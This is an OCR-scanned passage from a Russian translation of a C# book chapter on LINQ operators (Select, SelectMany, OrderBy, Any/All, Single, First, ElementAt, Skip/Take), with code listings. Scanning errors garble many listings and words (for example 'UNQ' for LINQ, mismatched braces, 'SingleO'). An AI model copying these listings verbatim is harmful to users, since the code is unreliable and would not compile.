Глава 10 и 2, поскольку оператор Select видит только те элементы, которые про- пускает к не’му оператор Where. С точки зрения оператора Select, суще- ствуют только три элемента, поскольку у него нет доступа к исходной коллекции. Если вы хотите, чтобы индексы отсчитывались как в исхо- дной коллекции, то извлечение элементов нужно выполнить вверх по потоку от оператора Where, как показано в листинге 10.22. Листинг 10.22. Индексированный оператор Select вверх по потоку от оператора Where IEnumerable<string> nonlntro = Course.Catalog .Select((course, index) => new ( course, index }) .Where(vars => vars.course.Number >= 200) .Select(vars => string.Format("Course {0}: {1}", vars.index, vars.course.Title)); / Индексированный оператор Select сходен с индексированным оператором Where. Поэтому, как вы, вероятно, уже ожидали, не все LINQ-провайдеры поддерживают его во всех сценариях. Формирование данных и анонимные типы В случае использования LINQ-провайдера для доступа к базе дан- ных оператор Select позволяет уменьшить количество извлекаемых данных, что, в свою очередь, снижает нагрузку на сервер. Если вы ис- пользуете такую технологию доступа к данным, как Entity Framework, или LINQ to SQL, для выполнения запроса, кото- рый возвращает набор объектов, представляющих персистентные сущ- ности, то приходится искать баланс между выполнением слишком боль- шой работы заранее и выполнением изрядного объема дополнительных отложенных вычислений. Должны ли эти фреймворки полностью за- полнять все свойства объектов, соответствующие столбцам в различных таблицах базы данных? Должны ли они также загружать связанные объ- екты? В большинстве случаев вы обеспечите большую эффективность, если не станете извлекать данные, которые не собираетесь использовать: при этом их всегда можно будет загрузить позже по требованию. В то же время помните о том, что излишнее стремление к экономии в первона- чальном запросе может привести к тому, что вам в итоге придется вы- полнить много дополнительных обращений для заполнения пробелов, что, возможно, перевесит все преимущества от минимизации исходной работы. 498
UNQ Entity Framework и LINQ to SQL позволяют указать в конфигура- ции, какие связанные сущности должны извлекаться заранее, а какие — загружаться по требованию, однако у любой извлекаемой сущности обычно полностью заполняются и все соответствующие столбцам свой- ства. Это означает, что запросы, требующие сущности целиком, в итоге извлекают все столбцы для любой затрагиваемой ими строки. Если вам нужно использовать только один или два столбца, это ока- жется сравнительно затратным. Пример такого не очень эффективного подхода демонстрирует листинг 10.23. Показанный в примере запрос достаточно типичен для провайдера LINQ to Entities. Листинг 10.23. Выборка данных в большем, чем это необходимо, объеме var pq = from product in dbCtx.Products where product.ListPrice > 3000 select product; foreach (var prod in pq) { Console.WriteLine("{0} ({2}): {1}", prod.Name, prod.ListPrice, prod.Size); ) Данный LINQ-провайдер преобразует выражение where в эффектив- ный эквивалент на языке SQL. Однако выражение SELECT языка SQL извлекает все столбцы таблицы. Сравните это с кодом, представленным влистинге 10.24. Я изменил лишь одну часть запроса: выражение select теперь возвращает экземпляр анонимного типа, содержащий только те свойства, которые нам нужны. (Следующий за запросом цикл я остав- ляю без изменщ/йй. Переменная итерации объявляется в цикле с помо- щью ключевого слова var и потому без проблем работает с анонимным типом, предоставляющим три необходимые циклу свойства.) Листинг 10.24. Выражение select с анонимным типом var pq = from product in dbCtx.Products where (product.ListPrice > 3000) select new ( product.Name, product.ListPrice, product.Size }; Данный код выдает точно такой же результат, генерируя намного более компактный SQL-запрос, который запрашивает только столб- цы Name, ListPrice и Size. При использовании таблицы с.множеством 499
Глава 10 столбцов это приведет к существенному уменьшению времени отклик поскольку мы уже не будем тратить бблыпую часть времени на данны которые нам не нужны; в свою очередь, уменьшение времени отклик приведет к снижению нагрузки на сетевое соединение с сервером б< данных, а также к более быстрой обработке данных, поскольку их д( ставка будет занимать меньше времени. Эта техника называется форт рованием данных. Такой подход не всегда оказывается улучшением. Прежде всего, сл( дует учесть тот факт, что вместо того, чтобы использовать объекты суп ностей, вы будете работать с данными непосредственно в базе данньй Это может означать работу на более низком уровне абстракции по cpai нению с использованием типов сущностей, что, в свою очередь, мож( привести к увеличению затрат на разработку. / Кроме того, в некоторых окружениях администраторы не разреш; ют использовать нерегламентированные запросы, заставляя вас рабе тать с хранимыми процедурами; в таком случае вы не будете облада! достаточной гибкостью для этой техники. Кстати говоря, техника проецирования результатов запроса в анс нимный тип не ограничивается лишь запросами к базам данных. Это подход можно свободно применять, работая с любым LINQ-npoeaiui ром, например, с провайдером LINQ to Objects. Иногда он бывает уде бен для получения из запроса структурированной информации, не прв бегая к определению специального класса. (Как я упоминал в главе! анонимные типы могут использоваться за пределами LINQ однако эт один из основных сценариев, для которых они предназначены. Вторы основным сценарием является группировка по составным ключам, о че мы поговорим в разделе «Группировка».) Проекция и отображение данных Оператор Select иногда называют проекцией, и это та же операцш которая во многих языках программирования называется отображен» ем, что позволяет взглянуть на оператор Select несколько иначе. Доси пор я говорил о нем как о способе отбора тех данных, которые возврата ет запрос, однако его также можно рассматривать как способ примем ния преобразования к каЯсдбму объекту в источнике. В листинге 10.2 оператор Select используется для создания модифицированных вереи списка номеров. Номера удваиваются, возводятся в квадрат или прео( разуются в строки. 500
UNQ Листинг 10.25. Использование оператора Select для преобразования чисел int[] numbers = { О, 1, 2, 3, 4, 5 }; IEnumerable<int> doubled = numbers. Select (х => 2 * x) ; IEnumerable<int> squared = numbers.Select (x => x * x) ; IEnumerable<string> numberText = numbers .Select ( x => x.ToString()); Попутно следует заметить, что оператор Select концептуально ана- логичен первой операции в модели вычислений Map Reduce {англ, ото- бражение, сокращение) от компании Google (в LINQ сокращению соот- ветствует оператор Aggregate). Конечно, модель Map Reduce интересна ре своими операциями отображения и сокращения — они являются вполне ординарными, — а распределенным выполнением с высокой степенью параллелизма. Исследовательское подразделение компа- нии Microsoft создало распределенную версию LINQ, дав ей название DryadLINQ. Велись дальнейшие работы по развитию этой версии в про- дукт с названием LINQ to НРС (High-Performance Computing, высоко- производительные вычисления), но, к сожалению, они были свернуты незадолго до завершения этапа бета-тестирования. Тем не менее некото- рые возможности для распараллеливания в LINQ все же присутствуют: в число поставляемых вместе с .NET провайдеров входит Parallel LINQ, о котором мы поговорим позже. Оператор SelectMany LINQ-оператор SelectMany используется в выражениях запросов, со- держащих несколько выражений from. Имя SelectMany данный оператор получил потому, что вместо отбора одного выходного элемента для каж- дого входного вы дсбжны предоставить ему лямбда-выражение, которое выдает целую коллекцию для каждого входного элемента. Полученный в результате запрос возвращает все объекты всех этих коллекций, как если бы они были объединены в одну коллекцию. (Кстати, следует отме- тить, что при этом не удаляются дубликаты — LINQ допускает наличие таковых в последовательностях. При желании их можно удалить, ис- пользуя оператор Distinct, описание которого приводится далее в раз- деле «Операции над множествами».) Данный оператор можно рассматривать с двух точек зрения. Первая состоит в том, что он предоставляет средства для «сплющивания» двух уровней иерархии — коллекции коллекций — в один. Согласно второй точке зрения, он представляет собой декартово произведение, то есть 501
Глава 10 способ получения всех возможных комбинаций из некоторых входные множеств. ’ В листинге 10.26 представлен пример применения данного опера- тора в выражении запроса, а в листинге 10.27 — эквивалентный это- му выражению запроса код, использующий оператор явно. В примерах подчеркивается взгляд на оператор SelectMany как на декартово произ- ведение. На экран выводятся все комбинации букв А, В и С с цифрам^ от 1 до 5, то есть А1, В1, С1, А2, В2, С2 и т. д. (Возможно, вас удив- ляет внешняя несовместимость двух входных последовательностей. Дело в том, что выражение select в данном запросе полагается на тот факт, что при использовании оператора + для сложения объекта типа string с объектом некоторого другого типа компилятор C# автомати- чески генерирует код, вызывающий метод ToString^n нестрокового операнда.) Z Листинг 10.26. Использование оператора SelectMany из выражения запроса int[] numbers = { 1, 2, 3, 4, 5 }; string!] letters = { "А", "В", "С” }; IEnumerable<string> combined = from number in numbers 1 from letter in letters select letter + number; foreach (string s in combined) ( Console.WriteLine(s); } Листинг 10.27. Оператор SelectMany. IEnumerable<string> combined = numbers.SelectMany( number => letters, (number, letter) => letter + number); В листинге 10.26 используются две фиксированные коллекции - второе выражение from возвращает каждый раз одну и ту же коллекцию letters. Однако можно сделать так, чтобы результат, выдаваемый вто- рым выражением from, зависел от текущего элемента из первого выраже- ния from. Как вы можете видеть в листинге 10.27, первое из переданных оператору SelectMany лямбда-выражений (которое в действительности соответствует последнему выражению во втором from) принимает теку- щий элемент из первой коллекции через свой аргумент number; мы мо- жем использовать это, чтобы выбирать новую коллекцию для каждого 502
UNQ элемента из первой коллекции. Например, такой подход годится для применения «сплющивающего» поведения оператора SelectMany. В листинге 10.28 я еще раз использую зубчатый массив из листин- га 5.19, представленного в главе 5. Этет массив обрабатывается запросом с двумя выражениями from. Обратите внимание, что второе выражение from теперь содержит item — переменную диапазона первого выражения from. Листинг 10.28. «Сплющивание» зубчатого массива int[] [] arrays = ( new[] { 1, 2 }, new[] { 1, 2, 3, 4, 5, 6 }, new[] { 1, 2, 4 }, new[] { 1 }, new[] { 1, 2, 3, 4, 5 } I; IEnumerable<int> combined = from item in arrays from number in item select number; Первое выражение from запрашивает итерацию по все\« элементам массива верхнего уровня. Каждый из этих элементов, конечно, тоже яв- ляется массивом, и второе выражение from запрашивает итерацию по всем элементам вложенного массива. Тот обладает типом int [], поэто- му переменная диапазона второго выражения from, number представля- ет значение типа int из вложенного массива. Выражение select просто возвращает каждое из этих значений типа int. Результирующая последовательность по очереди выдает каждое из чисел, содержащихся в исходных массивах. Таким образом зубчатый массив «сплющивается» в простую линейную последовательность чи- сел. Это поведение концептуально аналогично использованию двух вложенных циклов, один из которых выполняет итерацию по внешнему массиву типа int [ ] [ ], а второй, внутренний, — по содержимому каждого отдельного массива int [ ]. Хотя в листинге 10.28 компилятор использует ту же перегрузку опе- ратора SelectMany, что и в листинге 10.27, в данном случае существует «альтернатива. В листинге 10.28 используется более простое выражение select, которое просто передает далее элементы из второй коллекции, 503
Глава 10 не внося в них никаких изменений. Это означает, что с тем же успехом можно применить более простую перегрузку оператора, представлен- ную в листинге 10.29. При ее использовании нужно предоставить толь- ко одно лямбда-выражение, которое будет выбирать коллекцию, развер- тываемую оператором SelectMany для каждого из элементов во входной коллекции. Листинг 10.29. Оператор SelectMany без проекции элементов var combined = arrays.SelectMany(item => item); Это достаточно сжатый код, так что на тот случай, если будет не со- всем ясно, к какому результату он приведет при «сплющивании» мас- сива, листинг 10.30 показывает, как вы могли бы реализовать оператор SelectMany для типа IEnumerable<T>, если бы вам потребовалось это сде- лать самостоятельно. Листинг 10.30. Пример реализации оператора SelectMany static IEnumerable<T2> MySelectMany<T, T2>( this IEnumerable<T> src, Func<T, IEnumerable<T2» getlnner) { foreach (T itemFromOuterCollection in src) { IEnumerable<T2> innerCollection = getlnner(itemFromOuterCollection); foreach (T2 itemFromlnnerCollection in innerCollection) ( yield return itemFromlnnerCollection; I } } Почему же компилятор не использует более простой вариант, пока- занный в листинге 10.29? Спецификация языка C# определяет, как вы- ражения запросов преобразуются в вызовы методов; при этом упоми- нается только перегрузка* показанная в листинге 10.26. Причиной to.mj что в спецификации не упоминается более простая перегрузка, вероятна послужило стремление уменьшить требования, предъявляемые языком C# к тем типам, которые хотят поддержать данную форму запроса с дву- мя выражениями from — для поддержки этого синтаксиса в своих тип1| вам потребуется написать лишь один метод. Однако многие из LINQ] провайдеров платформы .NET отличаются большей щедростью и предо! 504 1
UNQ ставляют эту более простую перегрузку для удобства тех разработчиков, которые предпочитают использовать операторы напрямую. На самом деле большинство провайдеров определяет еще две перегрузки — версии показанных выше двух форм оператора SelectMany, принимающие в пер- вом лямбда-выражении индекс элемента. (При этом, конечно, следует со- блюдать обычные предосторожности для индексированных операторов.) Несмотря на то что листинг 10.30 дает достаточно хорошее пред- ставление о том, что делает провайдер LINQ to Objects в операторе SelectMany, в действительности реализация выглядит немного иначе. В ней присутствуют оптимизации для особых случаев, кроме того, дру- гие провайдеры могут использовать сильно отличающиеся стратегии. Некоторые провайдеры реализуют оператор SelectMany в терминах де- картовых произведений, поскольку базы данных часто обладают встро- енной поддержкой последних. 4 Упорядочивание Обычно LINQ-запросы не дают никаких гарантий в отношении по- рядка следования выдаваемых ими элементов, за исключением того слу- чая, когда необходимый порядок задается вами явно. Это мбжно сделать, добавив в запрос выражение orderby. Как показывает листинг 10.31, нужно также указать выражение, с помощью которого вы хотели бы от- сортировать элементы, и направление сортировки. Так, в данном случае запрос выдаст коллекцию курсов, упорядоченную по возрастанию даты публикации. Направление сортировки ascending (англ, по возрастанию) используется по умолчанию, поэтому данный квалификатор можно опустить без какого-либо изменения смысла. Как вы, возможно, уже до- гадались, задать противоположный порядок следования можно с помо- щью квалификатора descending (англ, по убыванию). Листинг 10.31. Выражение запроса с выражением orderby var q = from course in Course.Catalog orderby course.PublicationDate ascending select course; Выражение orderby в листинге 10.31 преобразуется компилятором ввызов метода OrderBy; если бы мы задали порядок сортировки descending (по убыванию), компилятор использовал бы метод OrderByDescending. В случае исходных типов, проводящих различие между упорядоченными и неупорядоченными элементами, данные операторы возвращают упоря- 505
Глава 10 доченный тип (например, тип IOrderedEnumerable<T> для LINQ to Objects и тип IOrderedQueryable<T> для провайдеров на базе типа IQueryable<T>). В случае провайдера LINQ to Objects данные операторы вы- 4 ш дают выходные элементы лишь после того, как извлекут все В?*’входные элементы. Оператор OrderBy с возрастающим по- рядком сортировки может установить, какой элемент следует возвращать первым, лишь после того как найдет наименьший элемент, а сделать это он может, только просмотрев все эле- менты. Некоторые провайдеры будут располагать дополни- тельными сведениями о данных, что открывает возможность для применения более эффективных стратегий (например, для возвращения значений в нужном порядке могут использо- ваться индексы базы данных). И оператор OrderBy, и оператор OrderBytJescending обладают двумя перегрузками, и только одна из них доступна из выражения запроса. При вызове этих методов напрямую можно предоставить дополнительный параметр типа IComparer<TKey>, где ТКеу — тип выражения, с помощью которого выполняется сортировка элементов. Это бывает полезно при упорядочении по свойству типа string, поскольку для текста могут ис- 1 пользоваться различные способы сортировки. Возможно, вам нужно вы- брать способ сортировки в соответствии с локалыо приложения; иною же требуется выбрать не зависящий от культуры способ сортировки. Выражение, задающее порядок сортировки в листинге 10.31, очень простое — оно всего лишь извлекает из элементов источника свойство PublicationDate. При желании можно записать и более сложное выра- жение. Если используется провайдер, который преобразует LINQ-» прос во что-то другое, то бывают ограничения. Если запрос выполи ется в базе данных, у вас может появиться возможность ссылаться о другие таблицы — когда провайдер способен преобразовать выражен» вида product. Productcategory. Name в соответствующую операцию ели ния. В то же время у вас не будет возможности выполнить какой-либо старый код, поскольку запускаемый код должен быть понятен базе дан- ных. Однако провайдер LINQ to Objects просто выполняет задают# порядок выражение по одному разу для каждого объекта, позволяя во- местить в него действительно что угодно. Иногда требуется выполнить сортировку по нескольким критерии, Для этого не следуепГисполъзоватъ несколько выражений orderby. П|»? мер такой ошибки демонстрирует листинг 10.32. 506
UNQ Листинг 10.32. Как не следует применять несколько критериев сортировки Ver q = from course in Course.Catalog orderby course.PublicationDate "ascending orderby course.Duration descending // ПЛОХО! Предыдущий порядок, возможно, будет нарушен select course; Данный код сортирует элементы по дате публикации, а затем — по продолжительности курса, однако на самом деле выполняются два от- дельных, несвязанных шага. Второе выражение orderby гарантирует лишь то, что результаты будут расположены в порядке, указанном в нем, и не дает никаких га- рантий относительно сохранения каких-либо особенностей предыду- щего расположения элементов. Если бы в действительности мы хоте- ли упорядочить элементы по дате публикации, так, чтобы элементы с одинаковой датой публикации были расположены по убыванию про- должительности, то нужно было бы написать запрос так, как показано в листинге 10.33. Листинг 10.33. Задание нескольких критериев сортировки в выражении запроса ▼ar q = from course in Course.Catalog orderby course.PublicationDate ascending, course.Duration descending select course; Для такой многоуровневой сортировки в LINQ определены два от- дельных оператора: ThenBy и ThenByDescending. В листинге 10.34 показа- но, как можно добиться того же эффекта, что и при использовании выра- жения запроса из листинга 10.33, вызывая LINQ-операторы напрямую. Если типы LINQ-провайдера проводят различие между упорядоченны- ми и неупорядоченными коллекциями, эти два оператора будут доступ- ны только для упорядоченной формы, такой как IOrderedQueryable<T> -1ли IOrderedEnumerable<T>. Если бы мы попытались вызвать метод ThenBy для коллекции Course.Catalog напрямую, компилятор выдал бы сообщение об ошибке. Листинг 10.34. Задание нескольких критериев сортировки с помощью UNQ-операторов ▼ar q = Course.Catalog .OrderBy(course => course.PublicationDate) .ThenByDescending(course => course.Duration); 507
Глава 10 Вы можете обнаружить, что некоторые LINQ-операторы сохраняют определенные аспекты порядка следования, несмотря на то что мы их об этом не просим. Например, провайдер LINQ to Objects, как правило, выдает элементы в том же порядке, в каком они расположены на входе, за исключением того случая, когда запрос заставляет его изменить по- рядок следования. Однако это лишь побочное следствие способа работы провайдера LINQ to Objects, на которое полагаться не следует. На са- мом деле, даже если вы используете именно тот провайдер, необходимо свериться с документацией и убедиться в том, что получаемый вами по- рядок гарантируется, а не является лишь случайной особенностью реа- лизации. В общем случае, если для вас важен порядок следования, необ- ходимо написать запрос, который задает нужный вам порядок явно. / Проверка принадлежности В LINQ определен ряд стандартных операторов для получения све- дений о том, что содержит коллекция. Некоторым провайдерам удаета реализовать эти операторы без необходимости просматривать каждьй элемент. (Например, провайдер для работы с базами данных способу применить выражение WHERE, для его вычисления база данных можя использовать индексы, не просматривая каждый элемент.) Однако никаких ограничений — делайте с этими операторами, что вам заблап рассудится, а то, можно ли при этом применить какой-либо экономны способ, будет решать провайдер. ~ В отличие от большинства других LINQ-операторов, эти on 4 а раторы не возвращают коллекцию или элемент из получаем! К*-' ими входных данных. Они возвращают просто значение -.г или false, либо в некоторых случаях количество элементов. Самым простым из этих операторов является Contains. Он облада двумя перегрузками: одна из них принимает элемент, а другая - эд мент и объект типа IEqualityComparer<T>, позволяющий модифицир( вать способ определения оператором того, является ли присутствуй щий в источнике элемент таким же, как указанный. Оператор Contan возвращает значение true, если источник содержит указанный элемен и значение false в противном случае. (При использовании одноарг] ментной версии для коллекции, реализующей интерфейс !List<T>, пр вайдер LINQ to Objects распознает это и просто делегирует реализаци 508
UNQ оператора Contains коллекции. Если же вы будете использовать коллек- цию, не реализующую интерфейс IList<T>, или предоставите пользова- тельский компаратор проверки на равенство, провайдеру придется про- смотреть каждый элемент"коллекции.) Если вместо проверки на наличие конкретного значения вы хотите узнать, содержит ли коллекция какие-либо значения, удовлетворяю- щие определенному критерию, это можно сделать с помощью оператора Any. Он принимает предикат и возвращает значение true, если предикат является истинным хотя бы для одного элемента в источнике. Если вы хотите узнать, сколько элементов удовлетворяет определенному крите- рию, воспользуйтесь оператором Count. Он также принимает предикат, но вместо значения типа bool возвращает значение типа int. Если вы работаете с очень большими коллекциями, то диапазон типа int мо- жет оказаться недостаточным; в таком случае следует взять оператор LongCount, который возвращает 64-разрядное число. (Хотя для прило- жений, использующих провайдер LINQ to Objects, это, как правило, бу- дет излишеством, ситуация может обстоять по-другому, если коллекция расположена в базе данных.) Операторы Any, Count и LongCount обладают перегрузкой, не прини- мающей аргументы. В случае оператора Any такая версия сообщает, со- держит ли источник хотя бы один элемент; в случае операторов Count и LongCount версия без аргументов сообщает, сколько всего элементов содержит источник. | _ Остерегайтесь кода вида if (q. Count () > 0). Вычислениеточ- ного количества элементов может повлечь вычисление всего I---- запроса, и в любом случае, вероятно, потребует большей ра- боты, чем просто получение ответа на вопрос, является ли это пустым? Если переменная q ссылается на LINQ-запрос, то, по- жалуй, более эффективным будет записать if (q.Any о). (Это не нужно делать в случае спискообразных коллекций, у кото- рых операция извлечения количества элементов не требует больших затрат и в действительности может быть более эф- фективной, чем оператор Any.) Близким родственником оператора Any является оператор АН. Он не перегружается — принимает предикат и возвращает значение true, если, и только если источник не содержит ни одного элемента, который бы не удовлетворял предикату. Предыдущая фраза не случайно построена имен- 509
Глава 10 но таким образом, с двойным отрицанием — при применении оператор АН к пустой последовательности он возвращает значение true, посколыу она определенно не содержит элементов, не удовлетворяющих предикап по той простой причине, что она вообще не содержит элементов. Такая логика может показаться какой-то странной, глупой. Это ва- поминает поведение ребенка, на вопрос «Ты уже съел свои овощи?» от- вечающего: «Я съел все овощи, которые положил себе в тарелку», заби- вая упомянуть, что не положил себе в тарелку ничего. Хотя формально ребенок дает верный ответ, он не сообщает родителям то, что они хотя узнать. Тем не менее данные операторы работают так не случайно: они соответствуют определенным стандартным операторам математическое логики. Оператор Any соответствует квантору существования, обычно записываемому в виде развернутого в обратную сторону символа «Е» (3) и читаемому как «существует» или «для некоторого», а оператор АН соответствует квантору всеобщности, уписываемому в виде пере- вернутого вверх ногами символа «А» (V) и читаемому как «для все». Когда-то давно математики пришли к общему соглашению относитель- но утверждений, применяющих квантор всеобщности к пустому мно» ству. Например, определив V как множество всех овощей, я могу запи- сать утверждение V{v : (v е V) л putOnPlateByMe (v)} eatenByMe(v|* или, в переводе на обычный язык, «для каждого овоща, который я пол» j жил на свою тарелку, является истинным утверждение, что я съел этв | овощ». Данное утверждение считается истинным, когда множеством пустое, и для такого случая услужливо предлагается термин пустая»! тина. Вероятно, математики тоже не любят овощи. I Конкретные элементы и поддиапазоны Иногда полезно написать запрос, выдающий только один элеме Например, вам может потребоваться найти в списке первый объекту; влетворяющий определенному критерию, или извлечь из базы дани информацию, идентифицируемую некоторым конкретным ключ; В LINQ определены несколько способных сделать это операторов, а и же несколько родственных операторов для работы с поддиапазоном э; ментов, который может возвратить запрос. Используйте оператор Sing когда вы точно уверены, что запрос должен возвратить только одина мент. Соответствующий пример представлен в листинге 10.35 - па * putOnPlateByMe — «положен на тарелку мной»; eatenByMe — «съеден мной» Прим. пер. 510
LINQ занный здесь запрос выполняет поиск курса по его категории и номеру, что в случае используемого нами каталога курсов означает уникальную идентификацию курса. Листинг 10.35. Применение к запросу оператора single var q = from course in Course.Catalog where course.Category == "MAT" && course.Number == 101 select course; Course geometry = q.SingleO; Поскольку построение LINQ-запросов осуществляется путем со- единения операторов в цепочки, мы можем взять выражение запроса и добавить к нему еще один оператор — в данном случае Single. Боль- шинство операторов возвратили бы объект, представляющий другой запрос — а если точнее, объект типа IEnumerable<T>, поскольку мы ис- пользуем провайдер LINQ to Objects, — но оператор Single ведет себя иначе. Как и методы ТоАггау и ToList, оператор Single выполняет запрос немедленно, после чего возвращает единственный выдаваемый им объ- ект. Если запрос не возвратит ровно один объект — возможно, он во- обще не возвратит элементов или возвратит два, — будет выброшено ис- ключение InvalidOperationException. Существует перегрузка оператора Single, которая принимает предикат. Как показывает листинг 10.36, это позволяет выразить логику листинга 10.35 намного более компактно. (Как и оператор Where, все работающие с предикатом операторы из дан- ного раздела используют тип FuncCT, bool>, а не тип Predicate<T>.) Листинг 10.36. Оператор Single с предикатом Course geometry = Course.Catalog.Single( course => course.Category == "MAT" && course.Number == 101); Оператор Single не прощает ошибок: если запрос не возвратит ровно один элемент, он выбросит исключение. Несколько более гибкий вари- ант этого оператора, SingleOrDefault, позволяет запросу либо возвратить один элемент, либо вообще не возвращать ничего. Если запрос не даст элементов, данный метод возвратит значение по умолчанию для типа элементов (то есть null для ссылочного типа, 0 для числового и false для bool). В случае возвращения нескольких элементов по-прежнему выбрасывается исключение. Как и Single, данный метод обладает двумя перегрузками: версией без аргументов, которая используется для источ- ников, содержащих не более одного объекта, и версией, принимающей предикатное лямбда-выражение. 511
Глава 10 J В LJNQ также определены два родственных оператора, First (ана первый) и FirstOrDefault (англ, первый или по умолчанию), и оба пред- лагают перегрузки, не принимающие аргументы или предикат. В том случае, когда последовательность не содержит элементов или содержит один, данные операторы ведут себя точно так же, как операто- ры Single и SingleOrDefault: они возвращают элемент при его наличии если же элемент отсутствует, оператор First выбрасывает исключение а оператор FirstOrDefault возвращает null или эквивалентное значение Однако в том случае, когда запрос выдает несколько элементов, дан ные операторы ведут себя иначе — вместо того чтобы выбросить исклю- чение, они просто возвращают первый элемент, отбрасывая все осталь- ные. Это полезно, например, если нужно найти сдмый дорогой элемент в списке — можно упорядочить выдаваемые запросом результаты не убыванию цены, после чего выбрать первый результат. В листинге 10.37 такой подход используется, чтобы выбрать из каталога курсов самый продолжительный. Листинг 10.37. Использование оператора First для выбора самого продолжительного курса var q = from course in Course.Catalog orderby course.Duration descending select course; Course longest = q.FirstO; Если запрос не дает гарантий относительно порядка следования результатов, данные операторы возвращают произвольно выбранный элемент. Используйте операторы First и FirstOrDefault только в том случае, если вы ожидаете, что запрос выдаст несколько эле- ментов, из которых нужно будет обработать только один. Хотя случается, разработчики используют данные операторы итог да, когда запрос выдает только один элемент, и, безусловно это не вызывает проблем, все же в таком случае более точно ваши ожидания выражают операторы Single И SingleOrDefа± Если запрос выдаст несколько элементов, операторы single и SingleOrDefault дадут об этом знать, выбросив исключение Если ваш код реализует неверные предположения, обычно лучше узнать об этом, а не продолжать выполнение, не обра- щая внимания. 512
UNQ Существование операторов First и FirstOrDefault наводит на естественный вопрос: а можно ли выбрать последний элемент? И дей- ствительно, также существуют операторы Last {англ, последний) и LastOrDefault {англ, последний или по умолчанию); опять же, эти опе- раторы предлагают по две перегрузки, одна из которых не принимает аргументы, а вторая — предикат. ' Следующий очевидный вопрос таков: что, если мне нужен элемент, который не является ни первым, ни последним? В этом случае следует использовать LINQ-операторы ElementAt и ElementAtOrDefault, которые принимают только индекс элемента (они не предлагают перегрузки). Это дает вам возможность обращаться к элементам любой коллекции типа IEnumerable<T> по индексу, однако следует соблюдать осторож- ность: если вы запросите 10 000-й элемент, то, чтобы добраться до него, данным операторам, возможно, потребуется запросить и отбросить все стоящие перед ним 9999 элементов. Провайдер LINQ to Objects распо- знает, когда объект источника реализует интерфейс lList<T>, и в этом случае он извлекает элемент напрямую, используя индексатор, вместо того чтобы медленно обходить всю коллекцию. Однако случайный до- ступ поддерживают не все реализации интерфейса IEnumerable<T>, поэ- тому иногда данные операторы работают очень медленно. В частности, даже если источник реализует интерфейс !List<T>, после применения к нему одного или нескольких LINQ-операторов данные на выходе этих операторов обычно уже не поддерживают индексирование. Так что ис- пользование оператора ElementAt в цикле, подобном тому, что представ- лен в листинге 10.38, может привести к весьма плачевным результатам. Листинг 10.38. Как не следует использовать оператор ElementAt таг mathsCourses = Course.Catalog.Where( с => c.Category == "MAT"); for (int i = 05 i < mathsCourses.Count!); ++i) I // Никогда так не делайте! Course с = mathsCourses.ElementAt (i) ; Console.WriteLine(c.Title) ; I Несмотря на то что объект Course.Catalog является массивом, я от- фильтровал его содержимое с помощью оператора Where, который воз- вращает запрос типа IEnumerable<Course>, не реализующего интерфейс IList<Course>. На первой итерации все вроде бы нормально — здесь 513
Глава 10 я передаю оператору ElementAt индекс, равный 0, поэтому он просШ возвращает первый удовлетворяющий условию элемент — в случае и* шего каталога курсов таким элементом будет самый первый, котор^ просмотрит оператор Where. Однако, обходя цикл во второй раз, я вц зываю оператор ElementAt снова. Запрос, на который ссылается пере- менная mathsCourses, не отслеживает, до какого места мы дошли ф предыдущей итерации цикла — а это объект типа IEnumerable<T>, а 4 типа IEnumerator<T>, — потому он будет выполнен заново. Оператор ElementAt запросит у него первый элемент, после чего отбросит и запух» сит второй элемент — вот это значение и будет возвращено. *. f Таким образом, к текущему моменту запрос Where уже будет выпо4 нен дважды — в первый раз оператор ElementAt запрашивал у негото.и| ко один элемент, во второй раз — уже два, в результате чего первый курй окажется просмотрен дважды. Обходя цикл р третий раз (что в данной случае является последней итерацией), я ейова делаю то же самое, Л теперь оператор ElementAt уже отбросит первые два предоставленный запросом элемента, возвратив третий. Таким образом, к этому моменЛ первый курс будет просмотрен три раза, второй — два, третий и четвеД тый курсы — по одному разу. (В нашем каталоге третий курс не относий ся к категории МАТ, потому запрос Where пропускает его, когда мы запрй шиваем третий элемент.) Следовательно, чтобы извлечь три элементй я выполнил запрос Where три раза, заставив его вычислить фильтрующей лямбда-выражение семь раз. й й В действительности дело обстоит еще хуже, поскольку цикр foi также будет каждый раз вызывать метод Count, а в случае неиндекси руемого источника, каковой возвращает оператор Where, методу Сои придется оценивать последовательность целиком — сообщить о том сколько элементов удовлетворяют условию, оператор Where сможя лишь просмотрев все элементы. Таким образом, код полностью три раз выполняет запрос, возвращаемый оператором Where, в дополнение к еп трехкратному частичному выполнению оператором ElementAt. В данно, случае это сходит мне с рук, поскольку я имею дело с небольшой кол лекцией, однако если бы у меня был массив из 1000 элементов, и всеэт элементы удовлетворяли бы условию фильтра, пришлось бы полносты выполнить запрос Where 1000 раз и еще 1000 раз — частично. При ш дом полном выполнении запроса фильтрующий предикат вызывался 61 1000 раз, а при каждом частичном — в среднем 500 раз; таким образе» в итоге фильтр был бы выполнен 1 500 000 раз. Если б итерация поз; просу Where осуществлялась с помощью цикла foreach, то запрос был 6 514
UNQ выполнен только один раз, а фильтрующее’выражение — 1000 раз; при этом я бы получил такие же результаты. Так что проявляйте осторожность как с методом Count, так и с ме- тодом ElementAt. Если вы примените их в цикле, выполняющем обход коллекции, для которой вы вызвали эти операторы, результирующий код будет обладать сложностью порядка О(п2). Все только что описанные операторы возвращают из источника один элемент. Существуют еще два оператора, которые тоже избирательно подходят к тому, какие элементы использовать, но могут возвращать не- сколько элементов — это операторы Skip и Таке. Оба принимают один аргумент типа int. Оператор Skip отбрасывает указанное количество элементов и возвращает все оставшееся содержимое источника. Опе- ратор Таке возвращает указанное количество элементов из начала по- следовательности и отбрасывает все прочее (что аналогично действию оператора ТОР в SQL). Существуют также управляемые предикатом эквиваленты этих опе- раторов, SkipWhile и TakeWhile. Первый отбрасывает элементы последо- вательности, пока не найдет элемент, удовлетворяющий предикату, по- сле чего возвращает его и все следующие за ним элементы (независимо от того, удовлетворяют они предикату или нет). Оператор TakeWhile, наоборот, возвращает элементы до тех пор, пока не встретит первый, не удовлетворяющий предикату, после чего отбрасывает этот элемент и всю оставшуюся час^ь последовательности. Хотя очевидно, что Skip, Take, SkipWhile и TakeWhile чувствительны к порядку следования элементов, эти операторы можно использовать не только для упорядоченных типов, таких как IOrderedEnumerable<T>. Они также определены и для типа IEnumerable<T>, что вполне обосно- ванно; поскольку, несмотря на то что при этом не гарантируется какой- то конкретный порядок, любой объект типа IEnumerable<T> всегда вы- дает элементы в некотором порядке. (Извлечь элементы из коллекции типа IEnumerable<T> можно только один за другим, потому порядок обеспечивается в любом случае, пусть даже и не имеющий смысла.) Бо- лее того, за пределами LINQ не очень широко реализуется интерфейс IOrderedEnumerable<T>, 